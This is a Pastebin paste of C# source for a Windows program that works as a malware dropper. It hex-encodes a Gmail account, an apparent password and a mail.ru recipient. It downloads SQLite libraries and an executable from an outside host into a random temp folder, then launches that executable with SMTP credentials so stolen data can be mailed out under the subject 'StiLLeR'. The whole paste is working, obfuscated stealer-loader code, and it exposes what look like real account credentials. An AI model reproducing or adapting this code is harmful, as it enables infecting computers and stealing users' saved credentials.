Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Net;
- using System.Threading;
- namespace WindowsFormsApplication4
- {
- internal static class Program
- {
- private static string a23152354;
- private static string b34574827485;
- private static string f55329542893;
- private static string d325425885;
- private static string e5234568245823;
- private static int smtpPort438454285;
- private static string subject31458134513;
- private static string body532541285;
- static Program()
- {
- Program.a23152354 = "636f6f6f6c736f667477617265343740676d61696c2e636f6d";
- Program.b34574827485 = "686a61494847415345494546483a413b69313335";
- Program.f55329542893 = "3839353238353336353433406d61696c2e7275";
- Program.d325425885 = Program.a23152354;
- Program.e5234568245823 = "736d74702e676d61696c2e636f6d";
- Program.smtpPort438454285 = 587;
- Program.subject31458134513 = "StiLLeR";
- Program.body532541285 = "StiLLeR";
- }
- public static string CR484848(string str)
- {
- string empty = string.Empty;
- while (str.Length > 0)
- {
- char chr = Convert.ToChar(Convert.ToUInt32(str.Substring(0, 2), 16));
- empty = string.Concat(empty, chr.ToString());
- str = str.Substring(2, str.Length - 2);
- }
- return empty;
- }
- private static void dc4484848(string arg)
- {
- Directory.CreateDirectory(arg);
- }
- private static void Main()
- {
- string str = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\');
- string str1 = string.Concat(str, Environment.UserName.ToString(), ".html");
- if (!File.Exists(str1))
- {
- File.Delete(str1);
- }
- string str2 = string.Concat(Program.name_generate(), ".exe");
- string str3 = Program.name_generate();
- string str4 = string.Concat(str, str3, '\\');
- Program.a23152354 = Program.CR484848(Program.a23152354);
- Program.b34574827485 = Program.CR484848(Program.b34574827485);
- Program.f55329542893 = Program.CR484848(Program.f55329542893);
- Program.d325425885 = Program.CR484848(Program.d325425885);
- Program.e5234568245823 = Program.CR484848(Program.e5234568245823);
- Program.dc4484848(str4);
- Program.dc4484848(string.Concat(str4, "x64\\"));
- Program.dc4484848(string.Concat(str4, "x86\\"));
- Program.WEBdown(string.Concat(str4, "x86\\SQLite.Interop.dll"), "http://coool-software.e3w.ru/components/x86/SQLite.Interop.dll");
- Program.WEBdown(string.Concat(str4, "x64\\SQLite.Interop.dll"), "http://coool-software.e3w.ru/components/x64/SQLite.Interop.dll");
- Program.WEBdown(string.Concat(str4, "System.Data.SQLite.dll"), "http://coool-software.e3w.ru/components/System.Data.SQLite.dll");
- Program.WEBdown(string.Concat(str4, str2), "http://coool-software.e3w.ru/components/val.exe");
- string str5 = "";
- object[] objArray = new object[] { Program.e5234568245823, Program.smtpPort438454285, Program.a23152354, Program.b34574827485, Program.d325425885, Program.f55329542893, Program.subject31458134513, Program.body532541285 };
- str5 = string.Format("{0} {1} {2} {3} {4} {5} {6} {7}", objArray);
- Process.Start(string.Concat(str4, str2), str5);
- }
- private static string name_generate()
- {
- string str = "abcdefg1234567890wrpghketpojkogprwfe";
- string str1 = "KAS";
- int num = (new Random()).Next(4, 8);
- for (int i = 0; i < num; i++)
- {
- str1 = string.Concat(str1, str[(new Random()).Next(0, str.Length)]);
- Thread.Sleep(123);
- }
- return str1;
- }
- private static void WEBdown(string folder, string link)
- {
- (new WebClient()).DownloadFile(new Uri(link), folder);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement